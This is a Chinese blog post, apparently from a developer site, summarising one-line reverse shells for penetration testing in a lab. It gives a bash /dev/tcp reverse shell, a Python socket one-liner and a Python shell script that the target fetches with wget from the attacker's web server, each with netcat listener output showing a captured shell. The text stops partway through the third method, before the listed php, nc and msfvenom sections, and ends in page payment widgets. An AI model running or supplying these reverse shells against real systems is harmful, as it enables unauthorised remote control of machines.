常用的一句话反弹shell总结

本文总结了渗透测试中常用的一句话反弹shell方法,包括bash、python、php等多种方式,以及如何利用nc命令、Kali内置脚本和msfvenom生成反弹shell。详细阐述了每种方式的操作步骤,帮助安全研究人员快速获取目标系统的控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

常用的一句话反弹shell总结

1. bash直接反弹

2. python一句话反弹shell

3. python脚本反弹shell

4. php一句话反弹shell

5. php脚本反弹shell

6. 使用nc命令获取靶机的反弹shell;

7. 使用Kali自带的脚本文件获取反弹shell

8. 使用msfvenom 获取一句话反弹shell


常用的一句话反弹shell总结

1. bash直接反弹

1.1> 在监听机上开启监听

nc -nvlp 8080

1.2> 在目标主机上写入bash反弹一句话

bash -i >& /dev/tcp/192.168.37.131/8080 0>&1
  • bash -i:产生一个bash的交互环境;
  • >&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;
  • /dev/tcp/192.168.37.131/8080:与目标主机192.168.37.131/8080端口建立一个TCP连接;
  • 0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容;

1.3> 查看监听机上是否监听到shell;

root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$ 

2. python一句话反弹shell

2.1> 直接在Kali上监听1234端口,在靶机上执行如下命令:

root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.2> 在Kali上查看监听到的1234端口,获取反弹shell;

root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami
whoami
tom
sh-4.1$ 

3. python脚本反弹shell

3.1> 在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);

root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py   #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start     #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.

3.2> 将python shell脚本下载到目标靶机系统;(一般下载到/tmp目录下)

[tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58--  http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:218 [text/x-python]
正在保存至: “shell.py.1”

100%[======================================>] 218         --.-K/s   in 0s      

2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1” [218/218])

3.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;

在Kali上开启监听端口1234:

root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...

 在靶机上执行下载的python

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值